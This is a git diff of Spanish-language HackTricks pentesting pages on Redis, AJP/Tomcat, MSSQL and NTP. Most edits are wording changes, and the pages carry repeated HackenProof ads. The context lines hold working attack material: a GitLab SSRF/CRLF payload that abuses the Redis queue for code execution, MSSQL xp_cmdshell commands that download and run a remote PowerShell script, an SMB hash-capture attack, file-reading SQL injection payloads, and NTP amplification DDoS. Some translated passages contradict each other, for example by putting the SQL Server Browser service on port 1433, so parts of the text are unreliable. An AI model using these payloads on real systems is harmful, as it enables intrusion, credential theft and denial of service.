* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -51,7 +51,7 @@ msf> use auxiliary/scanner/redis/redis_server
|
|||
|
||||
Redis es un **protocolo basado en texto**, simplemente puedes **enviar el comando en un socket** y los valores devueltos serán legibles. También recuerda que Redis puede ejecutarse utilizando **ssl/tls** (pero esto es muy raro).
|
||||
|
||||
En una instancia regular de Redis, puedes simplemente conectarte usando `nc` o también podrías usar `redis-cli`:
|
||||
En una instancia regular de Redis, puedes simplemente conectarte usando `nc` o también puedes usar `redis-cli`:
|
||||
```bash
|
||||
nc -vn 10.10.10.10 6379
|
||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||
|
@ -74,7 +74,7 @@ Además, ten en cuenta que **no hay forma de encontrar externamente** si Redis s
|
|||
{% endhint %}
|
||||
|
||||
En casos como este, **necesitarás encontrar credenciales válidas** para interactuar con Redis, por lo que podrías intentar [**atacar por fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#redis).\
|
||||
**En caso de encontrar credenciales válidas, debes autenticar la sesión** después de establecer la conexión con el comando:
|
||||
**En caso de encontrar credenciales válidas, necesitarás autenticar la sesión** después de establecer la conexión con el comando:
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
```
|
||||
|
@ -134,7 +134,7 @@ HGET <KEY> <FIELD>
|
|||
```
|
||||
**Volcar la base de datos con npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -289,7 +289,7 @@ Por lo tanto, si encuentras una vulnerabilidad de **SSRF** en un sitio web y pue
|
|||
|
||||
### Ejemplo: Gitlab SSRF + CRLF a Shell
|
||||
|
||||
En **Gitlab11.4.7** se descubrió una vulnerabilidad de **SSRF** y una de **CRLF**. La vulnerabilidad de **SSRF** estaba en la funcionalidad de **importar proyecto desde una URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad de **CRLF** se explotaba simplemente agregando caracteres %0D%0A a la **URL**.
|
||||
En **Gitlab11.4.7** se descubrió una vulnerabilidad de **SSRF** y una de **CRLF**. La vulnerabilidad de **SSRF** estaba en la funcionalidad de **importar proyecto desde una URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en el formato \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad de **CRLF** se explotaba simplemente agregando los caracteres %0D%0A a la **URL**.
|
||||
|
||||
Por lo tanto, era posible **abusar de estas vulnerabilidades para comunicarse con la instancia de Redis** que **gestiona las colas** de **gitlab** y abusar de esas colas para **obtener ejecución de código**. La carga útil para abusar de la cola de Redis es:
|
||||
```
|
||||
|
@ -304,7 +304,7 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
|
|||
```
|
||||
_Por alguna razón (como menciona el autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de donde se obtuvo esta información), la explotación funcionó con el esquema `git` y no con el esquema `http`._
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -20,10 +20,10 @@
|
|||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
||||
|
||||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la tabla de clasificación semanal.
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
|
||||
|
||||
|
@ -31,9 +31,9 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la t
|
|||
|
||||
## Información básica
|
||||
|
||||
Desde: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
|
||||
De: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
|
||||
|
||||
> AJP es un protocolo de comunicación. Es una versión optimizada del protocolo HTTP que permite que un servidor web independiente como [Apache](http://httpd.apache.org/) se comunique con Tomcat. Históricamente, Apache ha sido mucho más rápido que Tomcat al servir contenido estático. La idea es permitir que Apache sirva el contenido estático cuando sea posible, pero que redirija la solicitud a Tomcat para el contenido relacionado con Tomcat.
|
||||
> AJP es un protocolo de comunicación. Es una versión optimizada del protocolo HTTP que permite que un servidor web independiente como [Apache](http://httpd.apache.org/) se comunique con Tomcat. Históricamente, Apache ha sido mucho más rápido que Tomcat para servir contenido estático. La idea es permitir que Apache sirva el contenido estático cuando sea posible, pero que redirija la solicitud a Tomcat para el contenido relacionado con Tomcat.
|
||||
|
||||
También es interesante:
|
||||
|
||||
|
@ -64,7 +64,7 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
|
|||
|
||||
### Proxy AJP de Apache
|
||||
|
||||
No es común encontrar el puerto 8009 abierto y ningún otro puerto web abierto. En ese caso, sería bueno poder utilizar herramientas existentes como Metasploit para aprovecharlo, ¿verdad? Como se menciona en una de las citas, se puede (ab)usar Apache para redirigir las solicitudes al puerto 8009 de Tomcat. En las referencias encontrarás una guía útil sobre cómo hacerlo (léela primero), lo siguiente es solo un resumen de los comandos que utilicé en mi propia máquina. Omití algunas de las instrucciones originales ya que no parecían ser necesarias.
|
||||
No es común encontrar el puerto 8009 abierto y ningún otro puerto web abierto. En ese caso, sería bueno poder utilizar herramientas existentes como Metasploit para aprovecharlo, ¿verdad? Como se menciona en una de las citas, se puede (ab)usar Apache para redirigir las solicitudes al puerto 8009 de Tomcat. En las referencias encontrarás una guía detallada de cómo hacerlo (léela primero), lo que sigue es solo una descripción general de los comandos que utilicé en mi propia máquina. Omití algunas de las instrucciones originales ya que no parecían ser necesarias.
|
||||
```bash
|
||||
sudo apt-get install libapache2-mod-jk
|
||||
sudo vim /etc/apache2/apache2.conf # append the following line to the config
|
||||
|
@ -134,7 +134,7 @@ ajp_pass tomcats;
|
|||
}
|
||||
}
|
||||
```
|
||||
Inicie Nginx y verifique si todo está funcionando correctamente emitiendo una solicitud cURL a su localhost.
|
||||
Inicie Nginx y verifique si todo está funcionando correctamente emitiendo una solicitud cURL a su host local.
|
||||
```html
|
||||
sudo nginx
|
||||
curl http://127.0.0.1:80
|
||||
|
@ -172,9 +172,9 @@ curl http://127.0.0.1:80
|
|||
|
||||
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
**HackenProof es el hogar de todas las recompensas por errores de cifrado.**
|
||||
|
||||
**Obtén recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
||||
|
@ -183,7 +183,7 @@ Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el p
|
|||
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la tabla de clasificación semanal.
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -120,29 +120,29 @@ The following are some common enumeration techniques that can be used during a M
|
|||
|
||||
A continuación, se presentan algunas técnicas de enumeración comunes que se pueden utilizar durante una prueba de penetración de MSSQL:
|
||||
|
||||
1. **Banner Grabbing**: This technique involves connecting to the MSSQL server and capturing the banner information, which typically includes the version number. Tools like `nmap` can be used to perform banner grabbing.
|
||||
1. **Banner Grabbing**: This technique involves connecting to the MSSQL server and capturing the banner information, which typically includes the version of MSSQL being used. Tools like `nmap` can be used to perform banner grabbing.
|
||||
|
||||
1. **Obtención de Banner**: Esta técnica implica conectarse al servidor MSSQL y capturar la información del banner, que generalmente incluye el número de versión. Se pueden utilizar herramientas como `nmap` para realizar la obtención de banner.
|
||||
1. **Obtención de Banner**: Esta técnica implica conectarse al servidor MSSQL y capturar la información del banner, que generalmente incluye la versión de MSSQL que se está utilizando. Se pueden utilizar herramientas como `nmap` para realizar la obtención de banner.
|
||||
|
||||
2. **SQL Server Browser Service Enumeration**: The SQL Server Browser service listens on UDP port 1434 and provides information about the SQL Server instances running on the system. Tools like `sqlmap` can be used to enumerate the SQL Server instances.
|
||||
2. **SQL Server Resolution Protocol (SSRP)**: SSRP is a service that runs on port 1434 and is used to resolve the instance name of a MSSQL server. By sending a SSRP request, it is possible to obtain the instance name, which can be useful for further enumeration.
|
||||
|
||||
2. **Enumeración del Servicio SQL Server Browser**: El servicio SQL Server Browser escucha en el puerto UDP 1434 y proporciona información sobre las instancias de SQL Server que se ejecutan en el sistema. Se pueden utilizar herramientas como `sqlmap` para enumerar las instancias de SQL Server.
|
||||
2. **Protocolo de Resolución de SQL Server (SSRP)**: SSRP es un servicio que se ejecuta en el puerto 1434 y se utiliza para resolver el nombre de la instancia de un servidor MSSQL. Al enviar una solicitud SSRP, es posible obtener el nombre de la instancia, lo cual puede ser útil para una enumeración adicional.
|
||||
|
||||
3. **Default Instance Enumeration**: By default, MSSQL uses TCP port 1433 for the default instance. Tools like `nmap` can be used to scan for open ports and identify the default instance.
|
||||
3. **SQL Server Browser Service**: The SQL Server Browser service runs on port 1433 and is used to provide information about the instances of MSSQL running on a server. By querying the SQL Server Browser service, it is possible to obtain a list of the instances and their corresponding ports.
|
||||
|
||||
3. **Enumeración de la Instancia Predeterminada**: De forma predeterminada, MSSQL utiliza el puerto TCP 1433 para la instancia predeterminada. Se pueden utilizar herramientas como `nmap` para escanear puertos abiertos e identificar la instancia predeterminada.
|
||||
3. **Servicio de Explorador de SQL Server**: El servicio de Explorador de SQL Server se ejecuta en el puerto 1433 y se utiliza para proporcionar información sobre las instancias de MSSQL que se ejecutan en un servidor. Al consultar el servicio de Explorador de SQL Server, es posible obtener una lista de las instancias y sus puertos correspondientes.
|
||||
|
||||
4. **Database Enumeration**: Once connected to the MSSQL server, it is important to enumerate the databases present. This can be done using SQL queries or tools like `sqlmap`.
|
||||
4. **Default Accounts**: MSSQL often comes with default accounts, such as "sa" (System Administrator). It is important to check if these default accounts are still active and if they have weak passwords.
|
||||
|
||||
4. **Enumeración de Bases de Datos**: Una vez conectado al servidor MSSQL, es importante enumerar las bases de datos presentes. Esto se puede hacer utilizando consultas SQL o herramientas como `sqlmap`.
|
||||
4. **Cuentas Predeterminadas**: MSSQL a menudo viene con cuentas predeterminadas, como "sa" (Administrador del Sistema). Es importante verificar si estas cuentas predeterminadas siguen activas y si tienen contraseñas débiles.
|
||||
|
||||
5. **User Enumeration**: Enumerating the user accounts present on the MSSQL server is crucial for further exploitation. This can be done using SQL queries or tools like `sqlmap`.
|
||||
5. **SQL Injection**: SQL injection can be used to extract information from the database, such as the names of the databases or the contents of specific tables. This technique involves injecting malicious SQL queries into user input fields to manipulate the database.
|
||||
|
||||
5. **Enumeración de Usuarios**: Enumerar las cuentas de usuario presentes en el servidor MSSQL es crucial para una explotación posterior. Esto se puede hacer utilizando consultas SQL o herramientas como `sqlmap`.
|
||||
5. **Inyección SQL**: La inyección SQL se puede utilizar para extraer información de la base de datos, como los nombres de las bases de datos o el contenido de tablas específicas. Esta técnica implica inyectar consultas SQL maliciosas en campos de entrada de usuario para manipular la base de datos.
|
||||
|
||||
By performing a thorough enumeration of the MSSQL server, a penetration tester can gather valuable information that can be used to exploit vulnerabilities and gain unauthorized access to the system.
|
||||
By performing these common enumeration techniques, a penetration tester can gather valuable information about the MSSQL server, which can be used to further exploit vulnerabilities and gain unauthorized access to the system.
|
||||
|
||||
Al realizar una enumeración exhaustiva del servidor MSSQL, un probador de penetración puede recopilar información valiosa que se puede utilizar para explotar vulnerabilidades y obtener acceso no autorizado al sistema.
|
||||
Al realizar estas técnicas de enumeración comunes, un probador de penetración puede recopilar información valiosa sobre el servidor MSSQL, que se puede utilizar para explotar aún más las vulnerabilidades y obtener acceso no autorizado al sistema.
|
||||
```sql
|
||||
# Get version
|
||||
select @@version;
|
||||
|
@ -197,7 +197,7 @@ Algunas introducciones sobre algunos términos de MSSQL:
|
|||
* Base de datos: por ejemplo, roles de base de datos, roles de aplicación, esquema, certificado, catálogo de texto completo, usuario.
|
||||
* Esquema: por ejemplo, tabla, vista, procedimiento, función, sinónimo.
|
||||
2. **Permiso:** Cada securable de SQL Server tiene permisos asociados como ALTER, CONTROL, CREATE que se pueden otorgar a un principal. Los permisos se administran a nivel de servidor utilizando inicios de sesión y a nivel de base de datos utilizando usuarios.
|
||||
3. **Principal:** La entidad que recibe permisos para un securable se llama principal. Los principales más comunes son los inicios de sesión y los usuarios de la base de datos. El acceso a un securable se controla otorgando o denegando permisos o agregando inicios de sesión y usuarios a roles que tienen acceso.
|
||||
3. **Principal:** La entidad que recibe permiso para un securable se llama principal. Los principales más comunes son los inicios de sesión y los usuarios de la base de datos. El acceso a un securable se controla otorgando o denegando permisos o agregando inicios de sesión y usuarios a roles que tienen acceso.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -222,7 +222,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### Ejecutar Comandos del Sistema Operativo
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que para poder ejecutar comandos no solo es necesario tener **`xp_cmdshell`** **habilitado**, sino también tener el **permiso de EJECUCIÓN en el procedimiento almacenado `xp_cmdshell`**. Puedes obtener quién (excepto los sysadmins) puede usar **`xp_cmdshell`** con:
|
||||
Ten en cuenta que para poder ejecutar comandos no solo es necesario tener **`xp_cmdshell`** **habilitado**, sino también tener el **permiso EXECUTE en el procedimiento almacenado `xp_cmdshell`**. Puedes obtener quién (excepto los sysadmins) puede usar **`xp_cmdshell`** con:
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
@ -255,7 +255,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
# Bypass blackisted "EXEC xp_cmdshell"
|
||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||
```
|
||||
### Robo de hash NetNTLM / Ataque de retransmisión
|
||||
### Robar el hash NetNTLM / Ataque de retransmisión
|
||||
|
||||
Debes iniciar un **servidor SMB** para capturar el hash utilizado en la autenticación (`impacket-smbserver` o `responder`, por ejemplo).
|
||||
```bash
|
||||
|
@ -327,7 +327,17 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
|
|||
```
|
||||
#### Vector de error para SQLi:
|
||||
|
||||
The error-based vector for SQLi is a technique used to exploit vulnerabilities in Microsoft SQL Server (MSSQL). It involves injecting malicious SQL statements into user input fields to trigger errors in the database. These errors can reveal valuable information about the database structure and data, which can be used to further exploit the system. By carefully crafting SQL queries that generate specific error messages, an attacker can gain unauthorized access to the database and perform various malicious actions. It is important for security professionals to be aware of this technique and take necessary measures to protect against SQL injection attacks.
|
||||
The error-based vector for SQLi is a technique used to exploit vulnerabilities in Microsoft SQL Server (MSSQL). It involves injecting malicious SQL statements into user input fields to trigger errors in the database. These errors can reveal valuable information about the database structure and data, which can be used to further exploit the system.
|
||||
|
||||
To perform an error-based SQLi attack, the attacker needs to identify vulnerable input fields, such as login forms or search boxes, where user-supplied data is directly used in SQL queries without proper sanitization or validation. The attacker then crafts SQL statements that are designed to cause errors in the database.
|
||||
|
||||
One common error-based technique is to use the `CONVERT` function with an invalid data type. For example, the attacker can inject a payload like `CONVERT(INT, (SELECT @@VERSION))`, which attempts to convert the `@@VERSION` system variable into an integer. If the conversion fails, an error message will be displayed, potentially revealing the version of MSSQL being used.
|
||||
|
||||
Another error-based technique is to use the `CAST` function with an invalid length. For example, the attacker can inject a payload like `CAST((SELECT TOP 1 name FROM sysobjects WHERE xtype = 'U') AS VARCHAR(1))`, which attempts to cast the result of the subquery into a `VARCHAR` data type with a length of 1. If the length is too short to accommodate the result, an error will be thrown, potentially leaking the name of a user table.
|
||||
|
||||
By carefully crafting error-based payloads and analyzing the error messages, an attacker can gather information about the database schema, table names, column names, and even retrieve sensitive data such as usernames and passwords.
|
||||
|
||||
It is important for developers to implement proper input validation and parameterized queries to prevent error-based SQLi attacks. Regular security assessments and penetration testing can help identify and mitigate these vulnerabilities before they can be exploited.
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
|
@ -382,7 +392,7 @@ Para obtener **más ejemplos**, consulta la [**fuente original**](https://blog.w
|
|||
|
||||
### RCE con Función Definida por el Usuario de MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Es posible **cargar un archivo .NET dll dentro de MSSQL con funciones personalizadas**. Sin embargo, esto **requiere acceso como `dbo`**, por lo que necesitas una conexión con la base de datos **como `sa` o con un rol de administrador**.
|
||||
Es posible **cargar un archivo .NET dll dentro de MSSQL con funciones personalizadas**. Sin embargo, esto **requiere acceso a `dbo`**, por lo que necesitas una conexión con la base de datos **como `sa` o con un rol de Administrador**.
|
||||
|
||||
[Sigue este enlace](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver un ejemplo.
|
||||
|
||||
|
@ -390,20 +400,20 @@ Es posible **cargar un archivo .NET dll dentro de MSSQL con funciones personaliz
|
|||
|
||||
Existen otros métodos para obtener la ejecución de comandos, como agregar [procedimientos almacenados extendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Ensamblados CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Trabajos del Agente de SQL Server](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) y [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
**Obtén recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Recibirás la recompensa después de que se verifique el error.
|
||||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
||||
|
||||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -529,7 +539,7 @@ Probablemente podrás **elevarte a Administrador** siguiendo una de estas 2 pág
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -64,9 +64,13 @@ Para determinar la versión del servidor NTP, podemos utilizar el comando `ntpda
|
|||
ntpdate -q <IP_address/hostname>
|
||||
```
|
||||
|
||||
This command will query the NTP server and display the version information.
|
||||
```bash
|
||||
ntpdate -q <dirección_IP/nombre_de_host>
|
||||
```
|
||||
|
||||
Este comando consultará el servidor NTP y mostrará la información de la versión.
|
||||
The output will display the version of the NTP server.
|
||||
|
||||
La salida mostrará la versión del servidor NTP.
|
||||
|
||||
#### NTP Configuration Enumeration
|
||||
|
||||
|
@ -80,21 +84,37 @@ Para recopilar información sobre la configuración del servidor NTP, podemos ut
|
|||
ntpq -p <IP_address/hostname>
|
||||
```
|
||||
|
||||
This command will display the current status of the NTP server, including the remote servers it is synchronized with.
|
||||
```bash
|
||||
ntpq -p <dirección_IP/nombre_de_host>
|
||||
```
|
||||
|
||||
Este comando mostrará el estado actual del servidor NTP, incluidos los servidores remotos con los que está sincronizado.
|
||||
The output will display the NTP server's configuration, including the list of peers and their status.
|
||||
|
||||
La salida mostrará la configuración del servidor NTP, incluida la lista de pares y su estado.
|
||||
|
||||
#### NTP Vulnerability Scanning
|
||||
|
||||
#### Escaneo de vulnerabilidades de NTP
|
||||
|
||||
There are several known vulnerabilities in older versions of NTP that can be exploited by attackers. To identify potential vulnerabilities, we can use vulnerability scanning tools such as Nessus or OpenVAS.
|
||||
There are several known vulnerabilities in older versions of NTP. To check if the NTP server is vulnerable to any of these vulnerabilities, we can use vulnerability scanning tools such as Nmap or Nessus.
|
||||
|
||||
Existen varias vulnerabilidades conocidas en versiones antiguas de NTP que pueden ser explotadas por atacantes. Para identificar posibles vulnerabilidades, podemos utilizar herramientas de escaneo de vulnerabilidades como Nessus o OpenVAS.
|
||||
Existen varias vulnerabilidades conocidas en versiones antiguas de NTP. Para comprobar si el servidor NTP es vulnerable a alguna de estas vulnerabilidades, podemos utilizar herramientas de escaneo de vulnerabilidades como Nmap o Nessus.
|
||||
|
||||
These tools will scan the NTP server for known vulnerabilities and provide a report of any issues found.
|
||||
For example, using Nmap:
|
||||
|
||||
Estas herramientas escanearán el servidor NTP en busca de vulnerabilidades conocidas y proporcionarán un informe de cualquier problema encontrado.
|
||||
Por ejemplo, utilizando Nmap:
|
||||
|
||||
```bash
|
||||
nmap -p 123 --script ntp-info <IP_address/hostname>
|
||||
```
|
||||
|
||||
```bash
|
||||
nmap -p 123 --script ntp-info <dirección_IP/nombre_de_host>
|
||||
```
|
||||
|
||||
This will scan the NTP server for vulnerabilities and display the results.
|
||||
|
||||
Esto escaneará el servidor NTP en busca de vulnerabilidades y mostrará los resultados.
|
||||
```bash
|
||||
ntpq -c readlist <IP_ADDRESS>
|
||||
ntpq -c readvar <IP_ADDRESS>
|
||||
|
@ -116,7 +136,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
|
|||
|
||||
[**Cómo funciona el ataque DDoS de NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
|
||||
El protocolo NTP utiliza UDP por diseño para operar, lo cual no requiere ningún saludo como TCP, por lo tanto no hay registro de la solicitud. Por lo tanto, el ataque de amplificación DDoS de NTP comienza cuando un atacante crea paquetes con una dirección IP de origen falsificada para que los paquetes parezcan provenir del objetivo previsto y los envía al servidor NTP. Inicialmente, el atacante crea un paquete de pocos bytes, pero NTP responde con una gran cantidad de datos, lo que amplifica este ataque.
|
||||
El protocolo NTP utiliza UDP por diseño para operar, lo cual no requiere ningún saludo como TCP, por lo tanto no hay registro de la solicitud. Entonces, el ataque de amplificación DDoS de NTP comienza cuando un atacante crea paquetes con una dirección IP de origen falsificada para que los paquetes parezcan provenir del objetivo deseado y los envía al servidor NTP. Inicialmente, el atacante crea un paquete de pocos bytes, pero NTP responde con una gran cantidad de datos, lo que amplifica este ataque.
|
||||
|
||||
Comando _MONLIST_: Es un comando del protocolo NTP que tiene muy poco uso, pero es este comando el principal culpable de este ataque. Sin embargo, el uso del comando MONLIST es proporcionar detalles de los últimos 600 clientes que se han conectado al servicio de tiempo NTP. A continuación se muestra la sintaxis del comando:
|
||||
```bash
|
||||
|
@ -145,7 +165,7 @@ Name: Nmap
|
|||
Description: Enumerate NTP
|
||||
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -169,7 +189,7 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la t
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
